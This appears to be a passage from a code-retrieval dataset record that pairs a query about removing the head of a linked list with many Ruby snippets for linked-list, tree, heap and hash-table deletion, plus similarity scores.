"def delete(value)\n # Find the element to delete\n index = index(value)\n not_final = index < @heap.length - 1\n # Unless it's the final leaf, replace the value to be deleted with the final leaf\n @heap[index] = @heap[-1] if not_final\n # Delete the final leaf (either what we want to delete, or a duplicate now)\n @heap.pop\n # If necessary, bubble down\n bubble_down(index) if not_final\n end",
"def delete(value, node = @root)\n if node.nil?\n return node \n end\n\n if value < node.value\n node.left_node = delete(value, node.left_node)\n elsif value > node.value\n node.right_node = delete(value, node.right_node)\n else\n if node.left_node.nil? && node.right_node.nil?\n return nil\n elsif node.left_node.nil?\n return node.right_node\n elsif node.right_node.nil?\n return node.left_node\n end\n\n # Switches the current node's value with the child with the lowest value greater than\n # the current node, then delete the child.\n temp = min_node(node.right_node)\n node.value = temp.value\n node.right_node = delete(temp.value, node.right_node)\n end\n\n return node\n end",
"def add_first(value)\n new_node = Node.new(value)\n\n if @head != nil # if linked list is not empty\n new_node.next = @head\n end\n\n @head = new_node\n end",
"def remove (data)\n if @head.data == data\n @head = @head.next # Move head to the next node\n else\n current_node = @head.next # Go the next element\n prev_node = @head\n while current_node\n if current_node.data == data\n prev_node.next = current_node.next\n return @head # Head didnt change\n end\n prev_node = current_node\n current_node = current_node.next\n end\n\n return @head\n end\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def delete(value)\n if search(value)\n if value == @root.getData()#Descartamos la eliminacion de la raiz\n if @root.getLeft() == nil and @root.getRight() == nil#verificamos el caso\n @root = nil\n else\n temp_root = Node.new(-100000) #Asignamos nodo temporal\n @removeMethods.promote(@root,temp_root) #encontramos el mejor elemento\n @root = temp_root.getRight() #Asignamos nuevo nodo con remplazo ideal\n end\n startMethods() ##enviamos actualizacion de nodo\n return true\n else\n return @removeMethods.delete(value)\n end\n else\n return false\n end\n end",
"def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node == @head\n return remove_last if node == @tail\n\n # store the data, so we can return it\n data = node.data\n\n # iterate through nodes, two at a time\n each_cons(2) do |search_node, next_node|\n # if our second item in a pair is the node we are looking for\n if next_node == node\n # then make the previous node's (i.e the search_node) next node equal to the FOLLOWING\n search_node.next_node = next_node.next_node\n next_node = nil\n break\n end\n end\n\n @size -= 1\n\n return data\n end",
"def remove(value)\n if empty?\n puts EMPTY_TREE\n return\n end\n\n temp = @root\n parent = nil # track parent of current node visited for node reassignment\n\n while !temp.nil? do\n if temp.val > value\n if temp.left.nil?\n puts EMPTY_TREE\n break\n end\n\n parent = temp\n temp = temp.left\n elsif temp.val < value\n if temp.right.nil?\n puts EMPTY_TREE\n break\n end\n\n parent = temp\n temp = temp.right\n else\n # parent 50, temp 80\n # node found\n # 1: if x == leaf node, remove\n if !temp.left && !temp.right\n if !parent # deleting root node\n @root = nil\n elsif parent.left&.val == temp.val # temp is left child of parent\n parent.left = nil\n else # temp is right child of parent\n parent.right = nil\n end\n # 2: if x has one RIGHT child, child is now where x is, remove x\n elsif !temp.left\n if !parent # deleting root node\n @root = temp.right\n elsif parent.left&.val == temp.val # temp is left child of parent\n parent.left = temp.right # parent's new left node is the right child of temp\n else\n parent.right = temp.right\n end\n # 2: if x has one LEFT child, child is now where x is, remove x\n elsif !temp.right\n if !parent\n @root = temp.left\n elsif parent.left&.val == temp.val\n parent.left = temp.left\n else\n parent.right = temp.left\n end\n # 3: if x has two children, get min inorder value in the right subtree\n else\n successor_value = minInorderNode(temp.right)\n remove(successor_value)\n temp.val = successor_value\n end\n break\n end \n end\n end",
"def delete\n @prev_node.next_node = @next_node\n @next_node.prev_node = @prev_node\n @prev_node = @next_node = nil\n @value\n end",
"def find(value)\n return nil if @head.nil?\n i = 0\n node = @head\n limit = size - 1\n limit.times do\n break if node.data == value\n i += 1\n node = node.next_node\n end \nif node.data == value\n \"#{value} is located in index number #{i}.\"\n i\nelse \n puts \"the given value is not on the list.\"\nend\nend",
"def remove(node)\n end",
"def delete(value, current_node = @root)\n # Base case: We did not find the node\n return current_node if current_node.nil?\n\n if value < current_node.value\n current_node.left = delete(value, current_node.left)\n elsif value > current_node.value\n current_node.right = delete(value, current_node.right)\n elsif current_node.left.nil? # equality\n temp = current_node.right\n current_node = nil\n return temp\n\n elsif current_node.right.nil?\n temp = current_node.left\n current_node = nil\n return temp\n\n else # Node has 2 children.\n successor = find_inorder_successor(current_node.right)\n current_node.value = successor.value\n\n current_node.right = delete(successor.value, current_node.right)\n end\n current_node\n end",
"def removeHead\n\t\tif @head != nil\n\t\t\tn = @head\n\t\t\t@head = n.nnode\n\t\t\tn.nnode = nil\n\t\t\treturn n.value\n\t\tend\n\tend",
"def delete_aux(next_node, value)\n return nil if next_node.right_child.nil? && next_node.left_child.nil?\n\n return next_node.left_child if next_node.right_child.nil?\n\n return next_node.right_child if next_node.left_child.nil?\n\n build_tree(in_order_traversal(next_node) - [value])\n end",
"def delete_this_node(node)\n node.val = node.next_node.val\n node.next_node = node.next_node.next_node\n return node\nend",
"def unshift(value)\n return seed(value) unless self.head\n node = Node.new(value)\n node.next = self.head\n self.head.previous = node\n self.head = node\n end",
"def delete_node_improved(node)\n node.val = node.next.val\n node.next = node.next.next\nend",
"def find(value)\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n index = 0\n until current_node.nil?\n\n if current_node.value == value\n return index\n else\n current_node = current_node.next_node\n end\n\n index += 1\n end\n end\n nil\n end",
"def remove_record(value)\n @children['record'][:value].delete(value)\n end",
"def remove_record(value)\n @children['record'][:value].delete(value)\n end",
"def delete(value)\n #get hashed value\n hash_value = hash_function(value)\n\n # check if value exists\n result = search(value)\n\n # if value exists\n if result\n # set value to nil\n @@collection[hash_value] = nil\n # return confirmation\n \"value deleted\"\n else\n # return error message\n \"value not found\"\n end\n\n\n end",
"def remove(value)\n connection.zrem(key_label, value)\n end",
"def delete_node(node)\n until node.next.nil?\n next_node = node.next\n node.val = next_node.val\n if next_node.next\n node = node.next\n else\n node.next = nil\n end\n end\nend",
"def contains?(value)\n node = @head\n until node.nil?\n return true if node.value == value \n node = node.link\n end\n false\n end",
"def remove_node(index)\n\n\t\t# Start at the head\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\t\tprev_node = nil\n\n\t\t# crawl to the index position\n\t\twhile counter < index \n\t\t\tprev_node = current_node\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\n\t\t# Now perform removal (cutting out current_node)\n\t\tnext_node = current_node.next\n\t\tcurrent_node.next = nil # clear the pointer\n\t\tprev_node.next = new_node\n\n\t\tputs \"Removed node at index #{index} with value: #{current_node.data}\"\n\tend",
"def remove(target)\n @head = @head.next if @head == target\n prev = find() do |item| # prev set to the node right before the node we want to remove\n item.next == target\n end\n prev.next = prev.next.next if prev # set the node before's pointer to the target node's next thereby bypassing\n end",
"def delete_value(value, root = self)\n if root.nil?\n return\n elsif value > root.value\n root.right = delete_value(value, root.right)\n elsif value < root.value\n root.left = delete_value(value, root.left)\n else # i.e. value == root.value\n if root.left.nil? # also catches cases when both child nodes are empty\n root = root.right\n elsif root.right.nil?\n root = root.left\n else\n root = shift_values(root)\n end\n end\n root\n end",
"def delete_e31(nodo,input)\n\n\t\t\twhile nodo.next != nil\n\t\t\t\t\tif nodo.value == input\n\t\t\t\t\t\tnodo.value = nodo.next.value\n\t\t\t\t\t\tnodo.next = nodo.next.next\n\t\t\t\t\telse\n\t\t\t\t \t\tnodo = nodo.next\n\t\t\t\t\tend\n\t\t\tend #while ends\n\t\t end",
"def delete value, n=0\n return if @head.nil?\n x = n # remember value (see end of function)\n while @head && @head.value == value\n @length -= 1\n @head = @head.remove\n n -= 1\n return value if n == 0\n any = true\n end\n ptr = @head\n while ptr\n if ptr.value == value\n @length -= 1\n ptr = ptr.remove\n n -= 1\n return value if n == 0\n else\n ptr = ptr.nxt\n end\n end\n\n value if x != n\n end"
] |
[
"0.8160187",
"0.7892186",
"0.7808302",
"0.7783561",
"0.7775286",
"0.77493376",
"0.7657638",
"0.7645884",
"0.75886655",
"0.75370705",
"0.7420589",
"0.7416904",
"0.73902255",
"0.7367681",
"0.73483914",
"0.73420864",
"0.724532",
"0.7206845",
"0.71579784",
"0.71557736",
"0.7104282",
"0.7067213",
"0.70472974",
"0.70207965",
"0.69939244",
"0.6988114",
"0.6940585",
"0.689649",
"0.6832682",
"0.68279666",
"0.6698818",
"0.6640634",
"0.66218436",
"0.66171736",
"0.6584392",
"0.657525",
"0.6565841",
"0.6558073",
"0.6535926",
"0.65084845",
"0.6468052",
"0.6442387",
"0.63942784",
"0.6392867",
"0.6376575",
"0.63692856",
"0.63521296",
"0.6333808",
"0.63136715",
"0.63104737",
"0.63029546",
"0.6270314",
"0.6244602",
"0.624454",
"0.62305075",
"0.62305075",
"0.6220995",
"0.6205275",
"0.6200801",
"0.6198682",
"0.6196581",
"0.6196581",
"0.6178357",
"0.61712766",
"0.61631507",
"0.61601454",
"0.61533254",
"0.61477095",
"0.6144972",
"0.6141998",
"0.61400217",
"0.6121481",
"0.61156076",
"0.6108732",
"0.6102903",
"0.6098171",
"0.609367",
"0.6093665",
"0.60930383",
"0.6078867",
"0.60788035",
"0.60671395",
"0.60594285",
"0.60592663",
"0.60535973",
"0.6051368",
"0.60474604",
"0.6047364",
"0.60391617",
"0.6030698",
"0.6030698",
"0.6021666",
"0.6020686",
"0.6014652",
"0.60116094",
"0.5993352",
"0.5988165",
"0.59795666",
"0.59764016",
"0.5969129"
] |
0.796211
|
1
|
Public: Removes the Node at the head of the LinkedList. Examples
|
def remove_at_head
return nil if self.empty?
element = self.head
@head.next = nil || element.next
element
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_head\r\n delete_node @head\r\n end",
"def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end",
"def delete_head\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # Set the head to the original head's next, destroying any reference to the original\n @head = @head.next\n else\n # If the head is the only node, just set its value to nil\n @head.value = nil\n end\n\n # Decrement the SLL by 1 in all cases\n @size -= 1 if size > 0\n # Return the new or empty head\n @head\n end",
"def remove node\n return nil unless node \n # If the node we have to remove is the head of the list, we need to cover two situations\n if node == head\n # Head is the only node in the list. We set head and tail to nil and we are done\n if head.next.nil?\n self.head = self.tail = nil\n else\n # Head is not the only node in the list. \n # The node that’s next to head becomes the new head and the original head goes out of scope.\n self.head = self.head.next\n end\n else\n p = node.prev\n n = node.next\n p&.next = n\n n&.prev = p\n end\n self.length -= 1\nend",
"def removeHead\n if @length == 1\n @head.nextNode = nil\n @tail.val = nil\n @length = 0\n elsif @length > 1\n @head.nextNode = @head.nextNode.nextNode\n @length -= 1\n end\n end",
"def remove_head\n\t\t\n\t\told_head = @head\n\n\t\tif old_head == nil\n\t\t\treturn nil\n\t\telse\n\t\t\t@head = old_head.next_node\n\t\tend\n\n\t\t# puts old_head.value\n\t\treturn old_head\n\n\tend",
"def remove_first\n old_head = @head\n @head = @head.next_node unless @head.nil?\n @head.prev_node = nil unless @head.nil?\n old_head\n end",
"def erase_head()\n aux = @head[:prev]\n aux[:next] = nil\n @head = aux\n end",
"def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end",
"def remove_node(index)\n\n\t\t# Start at the head\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\t\tprev_node = nil\n\n\t\t# crawl to the index position\n\t\twhile counter < index \n\t\t\tprev_node = current_node\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\n\t\t# Now perform removal (cutting out current_node)\n\t\tnext_node = current_node.next\n\t\tcurrent_node.next = nil # clear the pointer\n\t\tprev_node.next = new_node\n\n\t\tputs \"Removed node at index #{index} with value: #{current_node.data}\"\n\tend",
"def remove_front\n if self.head == nil\n p \"the linked list is empty\"\n elsif self.head == self.tail\n self.head = nil \n self.tail = nil\n else\n self.head = self.head.next\n end\n end",
"def pop_head()\n nodo=@head\n aux=@head.next\n aux.prev=nil\n @head=aux\n return nodo\n end",
"def remove_front\n temp = @head\n @head.next = nil # This is for memory managment purposes\n @head = temp\n end",
"def delete_node(list, head)\n curr = list\n while(curr.next.val != head.val)\n curr = curr.next\n end\n curr.next = head.next\n head = nil\nend",
"def remove_front\n @head = @head.next\n end",
"def remove_front\n if (@head)\n @head = @head.next\n end\n end",
"def removeHead\n\t\tif @head != nil\n\t\t\tn = @head\n\t\t\t@head = n.nnode\n\t\t\tn.nnode = nil\n\t\t\treturn n.value\n\t\tend\n\tend",
"def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\ttmp = self.head\n\t\t\twhile tmp && tmp.next != node\n\t\t\t\ttmp = tmp.next\n\t\t\tend\n\t\t\ttmp.next = node.next if tmp\n\t\tend\n\t\tself.length -= 1\n\tend",
"def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\tp = node.prev\n\t\t\tn = node.next\n\t\t\tp&.next = n\n\t\t\tn&.prev = p\n\t\tend\n\t\tself.length -= 1\n\tend",
"def remove node\n\t\treturn nil unless node\n\t\treturn nil unless self.length > 0\n\n\t\t# head?\n\t\treturn remove_next node if (self.length == 1)\n\n\t\t# Find the precedent node to the node we \n\t\t# want to remove.\n\t\tprev = nil\n\t\tself.current = self.head\n\t\twhile ((prev = self.move_next) != node)\n\t\tend\n\t\tremove_next prev\n\tend",
"def remove_front\n @head = @head.next if @head\n end",
"def remove_front\n @head = @head.next if @head\n end",
"def remove_at(index)\n return nil if @head.nil? || index > self.size - 1\n if index == 0\n @head = @head.next\n elsif index == self.size - 1\n self.pop(node)\n else\n current_node = @head\n prev_node = nil\n index.times do\n prev_node,current_node = current_node,current_node.next\n end\n end\n prev_node.next = current_node.next\n end",
"def remove_front\n self.head = self.head.next\n end",
"def del_access_node(node)\n puts \"Deleting Node with value: #{node.value} from the list\"\n if node.next != nil\n node.value = node.next.value\n node.next = node.next.next\n else\n node.value = nil\n end\n print\n end",
"def delete_node this_node\r\n prev_node = this_node.get_prev_node\r\n next_node = this_node.get_next_node\r\n #if the deleted node is currently at the head\r\n if @head == this_node\r\n #set the head to the next node of this node\r\n @head = next_node\r\n #the head will be set to NULL if there's no node after this node (if this node is the only node in the list)\r\n end\r\n #if there's a node before this deleted node\r\n if prev_node != nil\r\n #point the next pointer of the previous node (of the deleted node) to the next node (of the deleted node)\r\n prev_node.set_next_node next_node\r\n end\r\n #if there's a node after this deleted node\r\n if next_node != nil\r\n #point the prev pointer of the next node (of the deleted node) to the previous node (of the deleted node)\r\n next_node.set_prev_node prev_node\r\n end\r\n #OPTIONAL: if the deleted node is at the tail\r\n if @tail == this_node\r\n #update the tail by pointing it to the previous node (of the deleted node)\r\n #this will return NULL if the deleted node is the only node in the list\r\n @tail = prev_node\r\n end\r\n #You can return the list so that you can chain methods\r\n return self\r\n end",
"def remove_node(head, val)\n current = head\n until current.next_node.nil?\n if head.val == val\n current.next_node = current.next_node.next_node\n end\n\n current = current.next_node\n end\n\n head\nend",
"def remove (data)\n if @head.data == data\n @head = @head.next # Move head to the next node\n else\n current_node = @head.next # Go the next element\n prev_node = @head\n while current_node\n if current_node.data == data\n prev_node.next = current_node.next\n return @head # Head didnt change\n end\n prev_node = current_node\n current_node = current_node.next\n end\n\n return @head\n end\n end",
"def remove_tail\n if self.head == nil\n p \"There isn't anything in the linked list\"\n elsif self.head.data == self.tail.data\n self.head = nil\n self.tail = nil\n else\n temp_node = self.head\n while temp_node.next != self.tail\n temp_node = temp_node.next\n end\n self.tail = temp_node\n end\n end",
"def delete(node)\n if @tail == node # if node is tail (or also, where list of 1)\n remove_tail\n elsif @head == node # remove head\n @head = @head.next\n else # remove a middle node\n current_node = @head\n while current_node.next != node\n current_node = current_node.next\n end\n current_node.next = node.next\n end\n end",
"def del_start\n @head = @head.node_sig\n if @head != nil\n @head.edi_ant(nil)\n end\n end",
"def delete(node)\n if !@head.nil?\n if @head === node\n remove_front\n elsif @tail === node\n remove_tail\n else # iterate over the list\n current_node = @head\n while !current_node.nil? && current_node.next != node\n current_node = current_node.next #move to the next node\n end\n if current_node.next == node\n current_node.next = current_node.next.next # skip over the matched node and thereby reset current_node's next node.\n end\n end\n end\n end",
"def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n else\n # send to garbage collector\n @head.prev_node = nil\n end\n\n return data\n end",
"def pop\n if head == nil\n \"Nothing to remove\"\n else\n prev = nil\n cur = head\n while cur.next_node != nil\n prev = cur\n cur = cur.next_node\n end\n prev.next_node = nil\n end\n end",
"def remove_head(value, node)\n if node.left\n link = max_search(node.left)\n link.right = @head.right\n @head = @head.left\n elsif node.right\n link = min_search(node.right)\n link.left = @head.left\n @head = @head.right\n else\n @head = nil\n end\n end",
"def remove_node(node) \n case node\n when @tail\n remove_tail\n when @head\n # this is a good candidate for a helper method!\n @head = node.next_node\n @head.prev_node = nil unless @head.nil?\n @tail = @head if @head.nil? || @head.next_node.nil?\n else\n node.prev_node.next_node = node.next_node unless node.prev_node.nil?\n node.next_node.prev_node = node.prev_node unless node.next_node.nil?\n end\n \n node\n end",
"def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node.prev_node == nil\n return remove_last if node.next_node == nil\n\n # tell adjacent nodes to 'skip' over this node\n node.next_node.prev_node = node.prev_node\n node.prev_node.next_node = node.next_node\n\n # store the data, so we can return it\n data = node.data\n\n # send to garbage collector\n node.data = nil\n node = node.prev_node = node.next_node = nil\n\n @size -= 1\n\n return data\n end",
"def delete(node)\n examined_node = @head\n after_examined_node = @head.next\n\n if examined_node == node #to be deleted item is first on the list\n remove_front()\n elsif node == @tail\n remove_tail()\n else\n\n while examined_node != node\n before_examined_node = examined_node\n\n if examined_node.next == nil\n\n else\n\n examined_node = examined_node.next\n end\n after_examined_node = examined_node.next\n\n if examined_node == node\n temp = before_examined_node\n before_examined_node.next = after_examined_node\n end\n end\n end\n end",
"def remove_front\n temp_node = @head\n if @head === nil # empty list\n return nil\n elsif @head === @tail # list of 1\n @head = nil\n @tail = nil\n return temp_node\n else\n @head = @head.next\n return temp_node\n end\n end",
"def remove_front\n if @head == nil\n return nil\n end\n front = @head\n @head = front.next\n front\n end",
"def remove(x)\n if x == head\n self.head = head.next\n x.next = nil\n else\n\n el = head\n while el and el != x\n prev = el \n el = el.next\n end\n\n raise ListError, \"Element not found\" unless el\n\n prev.next = el.next\n el.next = nil\n end\n x\n end",
"def remove_first\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the head node\n # Move the head to the next node\n data = @head.data\n @head = @head.next_node\n @size -= 1\n\n # removes the same element from @tail, if it was final element/node\n if empty?\n @tail = nil\n end\n\n return data\n end",
"def delete(node)\n if node == self.head\n if self.head == self.tail\n self.head = nil\n self.tail = nil\n node.next = nil\n return node\n end\n self.head = node.next\n node.next = nil\n return node\n end\n \n self.print\n \n node1 = self.head\n until node1.next == node do\n if node1.next == nil\n return nil # not on the list\n end\n node1 = node1.next\n end\n \n node1.next = node.next\n if node == self.tail\n self.tail = node1\n end\n\n node.next = nil\n return node\n end",
"def remove_front\n removed_node = self.head\n self.head = self.head.next\n return removed_node\n end",
"def remove_front\n self.head = self.head.next\n if self.head == nil\n self.tail = nil\n end\n end",
"def remove_front\n node = self.head\n if node == self.tail\n self.tail = nil\n end\n self.head = node.next\n node.next = nil\n return node\n end",
"def delete_tail\r\n delete_node @tail\r\n end",
"def remove_at(index)\n if index == 0\n @head = @head.next_node\n elsif index == self.size - 1\n self.pop\n else\n previous = self.node_at(index - 1)\n current = self.node_at(index)\n previous.next_node = current.next_node\n end\n end",
"def remove_front\n placeholder = @head\n @head = placeholder.next\n return placeholder\n end",
"def remove_front\n node = @head\n if @head.eql?(@tail)\n @head = nil\n @tail = nil\n elsif !@head.nil?\n @head = node.next\n if @head.next.nil?\n @tail = @head\n end\n end\n return node\n end",
"def remove(target)\n @head = @head.next if @head == target\n prev = find() do |item| # prev set to the node right before the node we want to remove\n item.next == target\n end\n prev.next = prev.next.next if prev # set the node before's pointer to the target node's next thereby bypassing\n end",
"def remove_front\n first_node = @head\n if @head === @tail\n @head = nil\n @tail = nil\n elsif !@head.nil?\n @head = first_node.next\n\n if @head.next.nil? #in case there were only two nodes, and we delete the first one, then new_head_node is also the tail node\n @tail = @head\n end\n end\n return first_node\n end",
"def remove_front\n value = self.head # save the first element\n self.head = value.next # the second element becomes the new first element\n value.next = nil # no longer in the list, so no next\n return value\n end",
"def remove_front\n first_node = @head\n if @head === @tail\n @head = nil\n @tail = nil\n elsif @head != nil\n @head = first_node.next\n\n if @head.next.nil? #in case there were only two nodes, and we delete the first one, then new_head_node is also the tail node\n @tail = @head\n end\n end\n return first_node\n end",
"def delete(node)\n current_node = self.head.next\n last_node = self.head\n\n if self.head == node\n self.head = self.head.next \n else\n while current_node != nil # Runs through each node in the list.\n if current_node == node # Checks for node to be deleted.\n if current_node == self.tail\n self.tail = last_node\n end\n last_node.next = current_node.next\n end\n last_node = current_node\n current_node = current_node.next\n end\n end\n end",
"def remove_at(index)\n current = @head\n (index - 1).times do\n current = current.next_node\n end\n\n current.next_node = current.next_node.next_node\n end",
"def remove_node(node)\n return nil unless node\n previous_node = node.previous_node\n next_node = node.next_node\n previous_node.next_node = next_node if previous_node\n next_node.previous_node = previous_node if next_node\n self.head = node.next_node if node == head\n node\n end",
"def deletelist\n if @head == nil\n puts \"List deleted\"\n end\n\n tmp = @head\n while(@head != nil)\n tmp = tmp.next\n @head.next = nil\n @head = tmp\n end\n end",
"def remove_tail\n remove_node(@tail)\n end",
"def delete_node(node)\n ## just copy the information of the next node and then cut it out\n node.id = node.next.id\n node.next = node.next.next\nend",
"def delete(node)\n if node == @head\n remove_front()\n elsif node == @tail\n remove_tail()\n else\n search_until(node)\n @current.next = node.next\n end\n end",
"def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end",
"def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end",
"def delete(node)\n if self.head == node\n remove_front\n elsif self.tail == node\n remove_tail\n else\n current_node = self.head\n until current_node.next == node\n current_node = current_node.next\n end\n current_node.next = node.next\n end\n end",
"def remove(target)\n return nil if target == nil || @head == nil\n @head = @head.next if @head == target\n prev_node = find do |item|\n item.next == target\n end\n prev_node.next = prev_node.next.next if prev_node\n end",
"def remove(value)\n\t\t\n\t\tnode = @head\n\t\twhile node.value.sal != value do\n\t\t\tnode = node.next\n\t\tend\n\t\t\n\t\tif node != nil\n\t\t\n\t\t\tif node != @head\n\t\t\t\tnode.prev.next = node.next\n\t\t\telse\n\t\t\t\t@head = node.next\n\t\t\tend\n\n\t\t\tif node != @tail\n\t\t\t\tnode.next.prev = node.prev\n\t\t\telse\n\t\t\t\t@tail = node.prev\n\t\t\tend\n\n\t\t\t@size-=1\n\t\tend\t\t\t\n\t\t\t\t\n\tend",
"def remove_at(index)\n return nil if head.nil?\n\n if index.zero?\n node = head\n @head = head.next\n return node.value\n end\n\n curr = head\n index.downto(2) do |_|\n break if curr.next.nil?\n\n curr = curr.next\n end\n node = curr.next\n node.nil? ? (return nil) : (curr.next = node.next)\n node.value\n end",
"def remove()\n if @head == nil\n puts \"There is nothing to remove.\"\n elsif @head.next == nil\n puts \"#{@tail.data} has been removed from the Queue.\"\n @head = nil\n @tail = nil\n else\n current = @head\n prev = current\n while current.next != nil\n prev = current\n current = current.next\n end\n puts \"#{@tail.data} has been removed from the Queue.\"\n current = prev\n current.next = nil\n @tail = current\n end\n end",
"def popHead\n \n unless @head.nil?\n \n aux = @head\n unless @head.next.nil?\n \n @head.next.prev = nil\n @head = @head.next\n \n else\n \n @head = nil\n @tail = nil\n \n end\n aux\n \n end\n \n end",
"def delete(node)\n if node == self.head\n remove_front\n elsif node == self.tail\n remove_tail\n else\n last_node = self.head\n current_node = self.head.next\n while current_node != node\n if current_node == self.tail\n return nil\n else\n last_node = current_node\n current_node = current_node.next\n end\n end\n last_node.next = current_node.next\n end\n end",
"def remove_elements(head, val)\n return nil if head.nil?\n\n dummy = ListNode.new(nil)\n dummy.next = head\n current = dummy\n\n while current.next\n if current.next.val == val\n current.next = current.next.next\n else\n current = current.next\n end\n end\n\n dummy.next\nend",
"def delete(node)\n if self.head.data == node.data\n self.remove_front\n else\n temp = self.head\n while temp && (temp.next.data != node.data)\n temp = temp.next\n end\n target = temp.next\n temp.next = target.next\n if temp.next == nil\n self.tail = temp\n end\n end\n end",
"def remove_at(index)\n counter = 0\n current_node = @head\n until counter == index\n previous_node = current_node\n current_node = current_node.next_node\n counter += 1\n end\n previous_node.next_node = current_node.next_node\n end",
"def remove(value)\n if head.value == value\n @head = head.next\n else\n current_node = head.next\n prev_node = head\n while current_node\n if current_node.value == value\n prev_node.next = current_node.next\n return\n else\n prev_node = current_node\n current_node = current_node.next\n end\n end\n nil\n end\n end",
"def delete(node)\n if @head.eql?(node)\n remove_front\n elsif @tail == node\n remove_tail\n else\n current = @head\n until current.next.eql?(node)\n current = current.next\n end\n current.next = node.next\n end\n end",
"def delete_tail\n # Create a var to hold the current_node; init with head\n current_node = @head\n\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # AND if that next has a next\n while current_node.next.next\n # Reassign current node to point to its next until current is second to last node\n current_node = current_node.next\n end\n\n # Current is now second to last node\n # Set current's next to nil, destroying the reference to the last node, the tail\n current_node.next = nil\n else\n # If there's just one node, it's both head and tail, set its value to nil\n @head.value = nil\n end\n\n # Decrement in all cases\n @size -= 1 if size > 0\n # Return the new tail or an empty head\n current_node\n end",
"def delete(node)\n if (node == @head)\n @head = node.next\n elsif (node == @tail)\n self.remove_tail\n else\n current = @head\n while (current != node)\n if (current.next == node)\n current.next = node.next\n break\n end\n current = current.next\n end\n end\n end",
"def remove_front\n if @head == @tail\n @head = nil\n @tail = nil\n else\n @head = @head.next\n end\n end",
"def pop() #delete last element in the LL\n return nil if @head == nil #if list is empty return nil\n return @head = nil if self.list_size == 1 #list has 1 element(head) assign head to nil\n temp_node = @head #if list has more then 1 element, travres till last element\n #stop conditon is when second element from current link to nil, means that first\n #from current is last element in the list\n until temp_node.link.link == nil \n temp_node = temp_node.link\n end\n temp_node.link = nil #cat the link with last element by assigning previous link to nil\n end",
"def remove_at(index)\n return nil if index < 1 || index > size\n\n node = remove_at_head if index == 1\n\n node = remove_after_head(index) if index > 1\n\n self.size -= 1\n\n node\n end",
"def remove_front\n if !@head.nil?\n if @head == @tail\n temp_node = @head\n @head = nil\n @tail = nil\n\n return temp_node\n else\n temp_node = @head\n @head = @head.next\n return temp_node\n end\n else\n nil\n end\n end",
"def delete(node)\n if self.head == node\n remove_front\n elsif self.tail == node\n remove_tail\n else\n current = self.head\n while current.next != node\n current = current.next\n end\n current.next = node.next\n node.next = nil\n end\n end",
"def clear!\n @head = Node.new\n @size = 0\n return self\n end",
"def delete(node)\n if @head.data == node.data\n remove_front\n elsif @tail.data == node.data\n remove_tail\n else\n previousNode = @head\n placeholder = @head.next\n while placeholder.data != node.data\n if placeholder.next\n previousNode = placeholder\n placeholder = placeholder.next\n else\n return 'node not found'\n end\n end\n previousNode.next = placeholder.next\n end\n end",
"def delete(node)\n if @head != nil\n if @head === node\n remove_front\n elsif @tail === node\n remove_tail\n else\n current = @head\n while current != nil && current.next != node \n current = current.next\n end\n if current.next == node\n current.next = current.next.next\n end\n end\n end \n end",
"def delete(node)\n if self.head != nil\n if node == self.head\n remove_front\n elsif node == self.tail\n remove_tail\n else\n current = self.head\n while current.next != nil && current.next != node\n current = current.next\n end\n temp = current.next.next\n current.next = nil\n current.next = temp\n end\n end\n end",
"def deleteNode node\n node.val = node.next.val\n node.next = node.next.next\nend",
"def delete_this_node(node)\n node.val = node.next_node.val\n node.next_node = node.next_node.next_node\n return node\nend",
"def delete(node)\n if @head == node\n remove_front\n elsif @tail == node\n remove_tail\n else\n remove_node(node)\n end\n end",
"def remove_first\n raise 'No such element' if @size == 0\n elt = @head.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @head = @head.next\n @head.previous.next = nil\n @head.previous = nil\n end\n @size -= 1\n return elt\n end",
"def remove_tail\n if self.head == nil # does nothing to an empty list\n return nil\n end\n \n delete (self.tail) # otherwise, deletes the tail\n end",
"def removeAll\n \n unless @head.nil?\n \n while @head != nil\n \n aux = @head.next\n self.popHead\n @head = aux\n aux\n end\n \n end\n \n end",
"def remove_front\n if self.head == self.tail\n remove_tail\n else\n temp = self.head.next\n self.head = nil\n self.head = temp\n end\n end",
"def pop\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.next_node.nil?\n last_node = current_node.next_node\n current_node.next_node = nil\n end\n last_node\n end",
"def delete(node)\n current = self.head\n if current == node\n self.head = current.next\n return\n else\n while current.next != nil && current.next != node\n current = current.next\n end\n current.next = current.next.next unless current.next === nil\n while current.next != nil\n current = current.next\n end\n self.tail = current\n end\n end",
